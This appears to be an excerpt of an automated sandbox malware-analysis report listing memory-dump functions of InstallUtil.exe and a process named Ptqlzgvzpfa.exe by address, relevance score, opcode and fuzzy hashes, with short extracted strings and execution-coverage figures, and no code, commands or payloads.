Opcode ID: 5e768e89b5ff7d78346cfc3ffc3965bc2e34cb3b16cd74df26f1fe71ca94f859
Instruction ID: 36a26b6b359ca4ac364cf0a8e6bc5bf52927a7da36a6ca0df40dd982f919d334
Opcode Fuzzy Hash: 5e768e89b5ff7d78346cfc3ffc3965bc2e34cb3b16cd74df26f1fe71ca94f859
Instruction Fuzzy Hash: E0B15D70E00219CFDB10CFAAD98179EBBF1EF88358F54852AD419A7354EB749889CF91

Function 024293E4 Relevance: .2, Instructions: 240COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2446545430.0000000002420000.00000040.00000800.00020000.00000000.sdmp, Offset: 02420000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2420000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5151f706e9b3d950a2cafaee17c8dd695531d2feba7621fde18fc916090915a2
Instruction ID: 801226fb284b13c0e98e2c94403a201e74c40a8e53eb61c1f833656d74f05008
Opcode Fuzzy Hash: 5151f706e9b3d950a2cafaee17c8dd695531d2feba7621fde18fc916090915a2
Instruction Fuzzy Hash: 2F915D35A00214CFCB14DF65E594AADBBF2EF88310F64856AE806E73A5DB34ED46CB50

Function 02426CA4 Relevance: .1, Instructions: 136COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2446545430.0000000002420000.00000040.00000800.00020000.00000000.sdmp, Offset: 02420000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2420000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e0aa4a3a811a96db1113df1410762489d2d67617d552f3265211658f652c5290
Instruction ID: 57f990aa377c15111e7b1983b35438452c220039dc178d33f12f03e797621f0a
Opcode Fuzzy Hash: e0aa4a3a811a96db1113df1410762489d2d67617d552f3265211658f652c5290
Instruction Fuzzy Hash: 79510270D102288FDB14CFAAC885BEEBBB5EF48314F55811AD819AB350D774A849CB95

Function 02426CB0 Relevance: .1, Instructions: 132COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2446545430.0000000002420000.00000040.00000800.00020000.00000000.sdmp, Offset: 02420000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2420000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7fe96fdacf83e5f74d5c4165f6436d554ef762aab8befb1585d0244fbbd60b8f
Instruction ID: 85593eac6937450cee23e92ef93a7cbf53518c1bd2d000fa3868ee202545c47e
Opcode Fuzzy Hash: 7fe96fdacf83e5f74d5c4165f6436d554ef762aab8befb1585d0244fbbd60b8f
Instruction Fuzzy Hash: 33511370D102288FDB14CFAAC885B9EBBB5FF48314F55811AE819BB390D774A849CF95

Function 02421128 Relevance: .1, Instructions: 104COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2446545430.0000000002420000.00000040.00000800.00020000.00000000.sdmp, Offset: 02420000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2420000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9b66b8eae745f28d6d08e52e805cf8b917638482a8801a8bf6a847e5dfffee18
Instruction ID: 62c51f573b3e19ab8eafbde1192567984e914a00b049ce8de628393887d6d0de
Opcode Fuzzy Hash: 9b66b8eae745f28d6d08e52e805cf8b917638482a8801a8bf6a847e5dfffee18
Instruction Fuzzy Hash: EB41DDF95022458FCB0AFF28F981E593F65EB95304B014969D141DB27EDB24690FEF60

Function 02421138 Relevance: .1, Instructions: 100COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2446545430.0000000002420000.00000040.00000800.00020000.00000000.sdmp, Offset: 02420000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2420000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c96275a5de7ae0ea771efa9bb50628dc2dded54d7dac6ff2525e565c2bfa1c27
Instruction ID: 954641966ad558f93f847c2d4ead14f5e6ce6d95ceda210aa3b674f74d1daab8
Opcode Fuzzy Hash: c96275a5de7ae0ea771efa9bb50628dc2dded54d7dac6ff2525e565c2bfa1c27
Instruction Fuzzy Hash: 4241CAF82022458FCB0AFF28F981E593F65EB95304B008969D005DB27DDB64690EEFA0

Function 0242F351 Relevance: .1, Instructions: 99COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2446545430.0000000002420000.00000040.00000800.00020000.00000000.sdmp, Offset: 02420000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2420000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f60c222663e6f964ae03901981bb29add217aad1430396e935d1eeb03e8784a8
Instruction ID: c512ce5e2fa8a07b2cd14fca1d3fcd8e031f91dbeae4f2f60ea434de2a897e7b
Opcode Fuzzy Hash: f60c222663e6f964ae03901981bb29add217aad1430396e935d1eeb03e8784a8
Instruction Fuzzy Hash: 04319231E1061A9FCB19DF65D9946AFBBB2FF88300F51851AE806E7750DB74AC4ACB40

Function 0242F360 Relevance: .1, Instructions: 91COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2446545430.0000000002420000.00000040.00000800.00020000.00000000.sdmp, Offset: 02420000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2420000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0c6f4bbe7e399182feb1bf7ec5d3891317e0ac98063940e68744b5161f5aff4d
Instruction ID: e43b8f07487a683515ec9d2733026a60cce8a0cab039d181dca9ada8acc72487
Opcode Fuzzy Hash: 0c6f4bbe7e399182feb1bf7ec5d3891317e0ac98063940e68744b5161f5aff4d
Instruction Fuzzy Hash: 4131A231E1061A9FCB19DF65D994A9FB7B2FF88300F51851AE806E7750DBB0AC4ACB40

Function 024226A5 Relevance: .1, Instructions: 91COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2446545430.0000000002420000.00000040.00000800.00020000.00000000.sdmp, Offset: 02420000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2420000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: df24f145231e18d64af2c21598668d2b5d35f51ed1fa26c357f1ca36c0218421
Instruction ID: 3020e2674d4494330b8ee441f8401a8b97873ac0f8f6edc61b11a25a38810401
Opcode Fuzzy Hash: df24f145231e18d64af2c21598668d2b5d35f51ed1fa26c357f1ca36c0218421
Instruction Fuzzy Hash: 1641F2B0D00249DFDB10DFAAC480ADEBFB5FF48314F64802AE809AB210DB759949CF90

Function 024226B0 Relevance: .1, Instructions: 90COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2446545430.0000000002420000.00000040.00000800.00020000.00000000.sdmp, Offset: 02420000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2420000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7d91397746dfb90ee48311b8966bd657a6ee507b8036842022cb3eee4eb95be3
Instruction ID: 2f154fee71918a690279b13845edebe6f0eb47fa426b494f9864ee4b76690ebb
Opcode Fuzzy Hash: 7d91397746dfb90ee48311b8966bd657a6ee507b8036842022cb3eee4eb95be3
Instruction Fuzzy Hash: 2A4102B0D002499FDB10DF99C480ADEBFF5FF48314F60802AE809AB210DB759949CF90

Function 02421840 Relevance: .1, Instructions: 89COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2446545430.0000000002420000.00000040.00000800.00020000.00000000.sdmp, Offset: 02420000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2420000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b3f6e86ad01a2afdfe9d1e447d793a1a3a69da452ea2a5b1c05f3c8cbaea1b7e
Instruction ID: ab8a16dae0d6359ad2f7061154b23692fb91573fb5d7b3f1d9476d96a5c26d84
Opcode Fuzzy Hash: b3f6e86ad01a2afdfe9d1e447d793a1a3a69da452ea2a5b1c05f3c8cbaea1b7e
Instruction Fuzzy Hash: 9A31A075B00224CFDF14EB36D950AAE77F2EB49204F50046AD50EEB3A1DB318D4ACBA5

Function 02421340 Relevance: .1, Instructions: 85COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2446545430.0000000002420000.00000040.00000800.00020000.00000000.sdmp, Offset: 02420000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2420000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 445d9cf7a1f0410c0f1848a121b91897a1c8e7763943ea4ee88773554c41de4b
Instruction ID: 0f705060cf420da96c6c50c98157db6a3d47e91e84d7a11378ef2a093c32586f
Opcode Fuzzy Hash: 445d9cf7a1f0410c0f1848a121b91897a1c8e7763943ea4ee88773554c41de4b
Instruction Fuzzy Hash: 8321B774A402108FFF396729F684B2A3756EB81315F400D26E00EC7366E769984FCB91

Function 02421667 Relevance: .1, Instructions: 85COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2446545430.0000000002420000.00000040.00000800.00020000.00000000.sdmp, Offset: 02420000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2420000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 70c169e16182dcb03acc99418dfe5c366d30de7e0333e57e52b63d26760ee7fa
Instruction ID: 4fff9b979c7233fd96dc7eb172331e03597e45143c9bdffa41d2f8611e542993
Opcode Fuzzy Hash: 70c169e16182dcb03acc99418dfe5c366d30de7e0333e57e52b63d26760ee7fa
Instruction Fuzzy Hash: 0F31A574A011504FEB26AB25E889F7E3769EB85304F544966D00ECB27BEB28C94FCB51

Function 024292D1 Relevance: .1, Instructions: 83COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2446545430.0000000002420000.00000040.00000800.00020000.00000000.sdmp, Offset: 02420000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2420000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bc1847828a5d36c01625c8477b316b6759cd7186208d50d588941e28cddafb54
Instruction ID: 6a0e3393a5486b06e6274d96cf423b560dfb785d4b2705af5d6587b23e46e308
Opcode Fuzzy Hash: bc1847828a5d36c01625c8477b316b6759cd7186208d50d588941e28cddafb54
Instruction Fuzzy Hash: 0331B171E102168BDB15CF65D5907DEB7B2EF89300F64C52AE405EB390DBB0988ACB90

Function 02427059 Relevance: .1, Instructions: 82COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2446545430.0000000002420000.00000040.00000800.00020000.00000000.sdmp, Offset: 02420000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2420000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 65f362c6224a975dad4452c055553d8793a75607566266a1b8a685d2f26a23bd
Instruction ID: a3e9a2da73c8a786793bd19b066b086b0596715332906e190eb3e05d64a24d3f
Opcode Fuzzy Hash: 65f362c6224a975dad4452c055553d8793a75607566266a1b8a685d2f26a23bd
Instruction Fuzzy Hash: 6D212C797002148FDB09EB74E454A2D37AAEF88704F208868D40ADB3A9DE359C4BCB91

Function 02421788 Relevance: .1, Instructions: 82COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2446545430.0000000002420000.00000040.00000800.00020000.00000000.sdmp, Offset: 02420000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2420000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6e307bec4a125042653e9e939c88830a8cbd0e64a469fa613c0103dc3823e554
Instruction ID: 85794029c7916bd6a1e00f6fca409d1f4017f6bfea4d9b279f2d27edc4ed1338
Opcode Fuzzy Hash: 6e307bec4a125042653e9e939c88830a8cbd0e64a469fa613c0103dc3823e554
Instruction Fuzzy Hash: 082104BAF012109FDF10AB79E844B6E37A6EBC8650F104836E50DC3355EB34C90B8B91

Function 024292E0 Relevance: .1, Instructions: 78COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2446545430.0000000002420000.00000040.00000800.00020000.00000000.sdmp, Offset: 02420000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2420000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 22d7c4f271d626e8de025dcb81fe5104a9d31c08eaee75c7c6653c01f57f7757
Instruction ID: 49d2049c2e07c68f4d9bb966507f139ea7ae558a390c105a365aa2ec85e4100f
Opcode Fuzzy Hash: 22d7c4f271d626e8de025dcb81fe5104a9d31c08eaee75c7c6653c01f57f7757
Instruction Fuzzy Hash: B6218231E0021A9BDB15CF65D59069EF7B2FF89300F64C52AE805EB390DBB1984ACB90

Function 00A4D3EC Relevance: .1, Instructions: 75COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2445846791.0000000000A4D000.00000040.00000800.00020000.00000000.sdmp, Offset: 00A4D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_a4d000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 69a1a1b3e3495838f8684666ccfec61dfa80b9c8558a1f17181e4f9e7d686331
Instruction ID: 3ea531b419a07eb80389c3f36f2e37f377fb8d824fe6a664ce1dacb75fa7e7c5
Opcode Fuzzy Hash: 69a1a1b3e3495838f8684666ccfec61dfa80b9c8558a1f17181e4f9e7d686331
Instruction Fuzzy Hash: 742100B9500204EFCB05DF14D9C0B26BF65FBD8320F20C5A9E9090B256C33AE856DAA2

Function 02421452 Relevance: .1, Instructions: 73COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2446545430.0000000002420000.00000040.00000800.00020000.00000000.sdmp, Offset: 02420000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2420000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9f32622a65c0bd4977f27a8e4cc8a18bd111de58df4e8da175f81e430c6f7c8b
Instruction ID: e78cf26081111aa4e47706dd84902e8138fd79322b3a0b7991f511f35ab1c540
Opcode Fuzzy Hash: 9f32622a65c0bd4977f27a8e4cc8a18bd111de58df4e8da175f81e430c6f7c8b
Instruction Fuzzy Hash: 71219371A002249FCF21EBBA85407AE77E5EB48214F94047BD90DDB341E735C84ACB91

Function 00D3D01C Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2446023439.0000000000D3D000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D3D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_d3d000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e152e42e4ed0968c2362e1bdaaa42150686deca2abcd1e54d085cb893fba8513
Instruction ID: 5ed2874b9474940f787744cb57d01d78320d9dea9de23df6333920f7e75e9d66
Opcode Fuzzy Hash: e152e42e4ed0968c2362e1bdaaa42150686deca2abcd1e54d085cb893fba8513
Instruction Fuzzy Hash: 1721F271604204DFCB18DF24E9C4B26BF66FB88714F24C569E94A4B296C33AD807CE71

Function 024291E0 Relevance: .1, Instructions: 70COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2446545430.0000000002420000.00000040.00000800.00020000.00000000.sdmp, Offset: 02420000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2420000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5dcad1345b0f045137c5ab48e9466ade33821cad4ab4b58a870be333f14d8efa
Instruction ID: a367b546e876ed8c2dfdc9716c940c9ed2d1b773dc969b8c35cd4487f59cbb86
Opcode Fuzzy Hash: 5dcad1345b0f045137c5ab48e9466ade33821cad4ab4b58a870be333f14d8efa
Instruction Fuzzy Hash: 8F21A734E00619DBDB18CFA6C454A9EF7B2BF89300F60891BE815FB340DB709846CB51

Function 02421850 Relevance: .1, Instructions: 70COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2446545430.0000000002420000.00000040.00000800.00020000.00000000.sdmp, Offset: 02420000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2420000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 914a233fcb80215f64c845aac42bd1a1d6bf26281b359c0a9881081e3b1d382e
Instruction ID: 4b7b0da25fe1f6cdef5335a01bea7d80c20616195bd90c1f29749b6d97d0a026
Opcode Fuzzy Hash: 914a233fcb80215f64c845aac42bd1a1d6bf26281b359c0a9881081e3b1d382e
Instruction Fuzzy Hash: 0C215E70B00214CFDB18EB76C5547AE77F6AF49204F600469D10AEB3A1DB359D49CB95

Function 02421678 Relevance: .1, Instructions: 69COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2446545430.0000000002420000.00000040.00000800.00020000.00000000.sdmp, Offset: 02420000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2420000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 298349e10b3142269a8de57688303d90626afa36c014dbcea45dc1cee2ffe0c3
Instruction ID: 3a4db83e0c7246893aa6cc42b4e7531e6cd5808c5c58e93fa5db7b9ece58357d
Opcode Fuzzy Hash: 298349e10b3142269a8de57688303d90626afa36c014dbcea45dc1cee2ffe0c3
Instruction Fuzzy Hash: 172162386011114FEB26AB65E884F2E375AEBC5314F504965D00DCB27AEB24D84ECB91

Function 02420848 Relevance: .1, Instructions: 62COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2446545430.0000000002420000.00000040.00000800.00020000.00000000.sdmp, Offset: 02420000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2420000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c14ff6f46a954e88e3a79517b64157485618d43ec868a84dae3cf35b1976c664
Instruction ID: b73546afff0e87760284d51495d6622d313aadad29f4f17a1dc808e6c0b6536c
Opcode Fuzzy Hash: c14ff6f46a954e88e3a79517b64157485618d43ec868a84dae3cf35b1976c664
Instruction Fuzzy Hash: 9911C130B002288FEF64AA7AD44472F77D5EF95310F90593BE006CB3A4DB24C88A8BC0

Function 00D3D005 Relevance: .1, Instructions: 62COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2446023439.0000000000D3D000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D3D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_d3d000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bff09bda50d191184aa840dc5c6be3334addee28a4a0b510cdb36aea909334ba
Instruction ID: 1f0059ee9cfc4b85e5b2bd3c43e7c29f25b11dc3eced6409059fdc957471fe92
Opcode Fuzzy Hash: bff09bda50d191184aa840dc5c6be3334addee28a4a0b510cdb36aea909334ba
Instruction Fuzzy Hash: BC2192755093C08FCB06CF24D994715BF72EB46314F28C5EAD8498F2A7C33A980ACB62

Function 02420838 Relevance: .1, Instructions: 60COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2446545430.0000000002420000.00000040.00000800.00020000.00000000.sdmp, Offset: 02420000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2420000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 56664609b4d4c5b8a87efad21b7c0d32519f95a2416d18f2c370ec66ad154fbc
Instruction ID: 4f7fa5c89185a63ceece43b909bfae9ee1b5aaa9f74c2eeecae4664dfbf36223
Opcode Fuzzy Hash: 56664609b4d4c5b8a87efad21b7c0d32519f95a2416d18f2c370ec66ad154fbc
Instruction Fuzzy Hash: 4211E030B003288FEF245A76E84472F76C5EBA1210F90593BE002DB391EB64C88D8BC1

Function 00A4D3E7 Relevance: .1, Instructions: 56COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2445846791.0000000000A4D000.00000040.00000800.00020000.00000000.sdmp, Offset: 00A4D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_a4d000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: be84e5d2ba6eb25d2e30d29f2c5ffdc4cdcd384a79140dda988d9b090738847a
Instruction ID: 11cce41c67d0b800f15bf44714eda6029e9c0736bea71710504e4f2e9d0390d1
Opcode Fuzzy Hash: be84e5d2ba6eb25d2e30d29f2c5ffdc4cdcd384a79140dda988d9b090738847a
Instruction Fuzzy Hash: FB11E676504240DFCB06CF10D5C4B16BF72FB94324F24C5A9D9490B656C33AE85ACBA2

Function 02421460 Relevance: .1, Instructions: 53COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2446545430.0000000002420000.00000040.00000800.00020000.00000000.sdmp, Offset: 02420000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2420000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2c95ff8b06e614a6e0bf0f009412452291f32c1d3c2511d8d6a218b1ed124e78
Instruction ID: e4824b6163ce08d3babdbdfb084b63ae756acaf91d4ff7ea281bbc3c5f4a9026
Opcode Fuzzy Hash: 2c95ff8b06e614a6e0bf0f009412452291f32c1d3c2511d8d6a218b1ed124e78
Instruction Fuzzy Hash: C0016D31A002248FCF21EFBA89406AEBBE5EB48214B65147BD80DE7301E735D985CBA1

Function 02429910 Relevance: .0, Instructions: 47COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2446545430.0000000002420000.00000040.00000800.00020000.00000000.sdmp, Offset: 02420000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2420000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: faac381b07d8bbffa66f6cdcd61f27e6b8e956e1755177fd158258c0f687e5f5
Instruction ID: d655825047753b437e258b1fc612330f3538aaad28f529c24be22a1f5a24000c
Opcode Fuzzy Hash: faac381b07d8bbffa66f6cdcd61f27e6b8e956e1755177fd158258c0f687e5f5
Instruction Fuzzy Hash: 7901B931A001048FCB04DF55D98468ABBA5FF80310F64C575D80C5F359D770D90ACBA1

Function 02428170 Relevance: .0, Instructions: 36COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2446545430.0000000002420000.00000040.00000800.00020000.00000000.sdmp, Offset: 02420000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2420000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 49323c39ed68161ab5f297e34d9771b4d2f0516384986f9e302001e8d177f0ca
Instruction ID: 2c4239413a1545ecc6f731a83a4ae18f936a26ec8bfbbd17791274d761854341
Opcode Fuzzy Hash: 49323c39ed68161ab5f297e34d9771b4d2f0516384986f9e302001e8d177f0ca
Instruction Fuzzy Hash: C1018F756142458FDB1AEBB4F991E9C3B75EF81304B0046A8C0059F2AADF356A0FD782

Function 02428180 Relevance: .0, Instructions: 33COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2446545430.0000000002420000.00000040.00000800.00020000.00000000.sdmp, Offset: 02420000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2420000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1e434f44fb63234462ffd4c0b12ed0ff73fd70935afcb18cd24c8dafe737c802
Instruction ID: f2aa9bf6f1fd5d5ce93b562681373a728682b22e9bd15da749ee57dd331e40d0
Opcode Fuzzy Hash: 1e434f44fb63234462ffd4c0b12ed0ff73fd70935afcb18cd24c8dafe737c802
Instruction Fuzzy Hash: A0F01D74900109DFDB09EFB4FA45A9D7BB9EF80304F504678C004DB269DB716A0EDB81

Analysis Process: Ptqlzgvzpfa.exePID: 1120, Parent PID: 1028COMMON

Execution Graph

Execution Coverage:	11.4%
Dynamic/Decrypted Code Coverage:	97.8%
Signature Coverage:	0%
Total number of Nodes:	456
Total number of Limit Nodes:	21

Executed Functions

Function 06422467 Relevance: 8.0, Strings: 6, Instructions: 495COMMON

Download Yara Rule

Strings

$]q, xrefs: 06422A11
$]q, xrefs: 06422637
,aq, xrefs: 06422BFA
4, xrefs: 06422B15
$]q, xrefs: 06422587
$]q, xrefs: 06422A6A

Memory Dump Source

Source File: 00000004.00000002.2481372372.0000000006420000.00000040.00000800.00020000.00000000.sdmp, Offset: 06420000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6420000_Ptqlzgvzpfa.jbxd

Similarity

API ID:
String ID: ,aq$4$$]q$$]q$$]q$$]q
API String ID: 0-324474496
Opcode ID: 364faf3badfe83e969418018cf7ad9ea08bf283beaca98c631d036bc5ba53ef9
Instruction ID: 3dfead8da32fbed18bb5fac8e8fb36841adb4891d4a0010a8c1092939a465a0a
Opcode Fuzzy Hash: 364faf3badfe83e969418018cf7ad9ea08bf283beaca98c631d036bc5ba53ef9
Instruction Fuzzy Hash: 82223D30A00229CFDB65DF64C994BAEB7B2BF48704F64819AD509AB3A5DB70DD81CF50

Function 0130A9C0 Relevance: 7.2, Strings: 5, Instructions: 983
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

xb`q, xrefs: 0130AAED
TJbq, xrefs: 0130AB62
RZW+, xrefs: 0130ADB1
Te]q, xrefs: 0130B0E3
paq, xrefs: 0130B57A

Memory Dump Source

Source File: 00000004.00000002.2446014812.0000000001300000.00000040.00000800.00020000.00000000.sdmp, Offset: 01300000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1300000_Ptqlzgvzpfa.jbxd

Similarity

API ID:
String ID: RZW+$TJbq$Te]q$paq$xb`q
API String ID: 0-4120908068
Opcode ID: 03e8d194cc1f50bb2d3245eb8fa3253a7ae04a741fb70c213e517ab62af92d11
Instruction ID: 03d490e58fc8a4330ca0771f2367b077642a237b9f42cc07d486750c46145807
Opcode Fuzzy Hash: 03e8d194cc1f50bb2d3245eb8fa3253a7ae04a741fb70c213e517ab62af92d11
Instruction Fuzzy Hash: B0A2D574A00228CFDB65CF69C994A99BBF2FF89304F1581E9D509AB365DB319E81CF40

Function 06425750 Relevance: 3.1, Strings: 2, Instructions: 639
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

$]q, xrefs: 06425A1E
Pl]q, xrefs: 06425938

Memory Dump Source

Source File: 00000004.00000002.2481372372.0000000006420000.00000040.00000800.00020000.00000000.sdmp, Offset: 06420000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6420000_Ptqlzgvzpfa.jbxd

Similarity

API ID:
String ID: Pl]q$$]q
API String ID: 0-2369359564
Opcode ID: cfaeacd7733e967665f42aa5524c946612d6ab7f7beb3d51570f8eac0e96cf57
Instruction ID: 64966a2ae4db705c0abfd6d24fb39e6d78f562a55a4241bc133982eb452ca89c
Opcode Fuzzy Hash: cfaeacd7733e967665f42aa5524c946612d6ab7f7beb3d51570f8eac0e96cf57
Instruction Fuzzy Hash: 5B327B34B40216CFDB59DF29C584A6A77F6BF88701BA584AAD406CB361DB31DC42CB61

Function 062B0048 Relevance: 5.7, Strings: 3, Instructions: 1926COMMON

Download Yara Rule

Strings

&, xrefs: 062B03B0
4']q, xrefs: 062B1549
4']q, xrefs: 062B1559

Memory Dump Source

Source File: 00000004.00000002.2481025120.00000000062B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 062B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_62b0000_Ptqlzgvzpfa.jbxd

Similarity

API ID:
String ID: &$4']q$4']q
API String ID: 0-521613236
Opcode ID: eb1a681ec1247d0396830830556ca9dff5c2faba894ea0d86d0ea9b1c786fcd8
Instruction ID: bd3721c30579737e6ccf683ddd4c55773d989746c928e882bd3836f2c6a185af
Opcode Fuzzy Hash: eb1a681ec1247d0396830830556ca9dff5c2faba894ea0d86d0ea9b1c786fcd8
Instruction Fuzzy Hash: B4F2C03091A3899FDB26CBB4DC69BEE7FB5EF06340F144096E9409B2E2C7745845CB62

Function 06425FE0 Relevance: 5.2, Strings: 4, Instructions: 207
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

(aq, xrefs: 0642614B
(aq, xrefs: 064260F4
(aq, xrefs: 06426202
(aq, xrefs: 0642622E

Memory Dump Source

Source File: 00000004.00000002.2481372372.0000000006420000.00000040.00000800.00020000.00000000.sdmp, Offset: 06420000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6420000_Ptqlzgvzpfa.jbxd

Similarity

API ID:
String ID: (aq$(aq$(aq$(aq
API String ID: 0-3514690552
Opcode ID: 0054b9bd88c0dcf42b8fac02fed3561dd1dacc7993f97af5e90bf00e29b4d272
Instruction ID: 66fc620876c0f1516edab84c75cdb4012617e4f1ce70ed0c05794d70d40359ec
Opcode Fuzzy Hash: 0054b9bd88c0dcf42b8fac02fed3561dd1dacc7993f97af5e90bf00e29b4d272
Instruction Fuzzy Hash: CC71B1317002568FCB86DF29D850AAF3BA6EF95301F65816AE805CB396CF35DC46C791

Function 06427EE8 Relevance: 4.2, Strings: 3, Instructions: 479
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

Haq, xrefs: 0642843C
Haq, xrefs: 064283EC
Haq, xrefs: 064283BD

Memory Dump Source

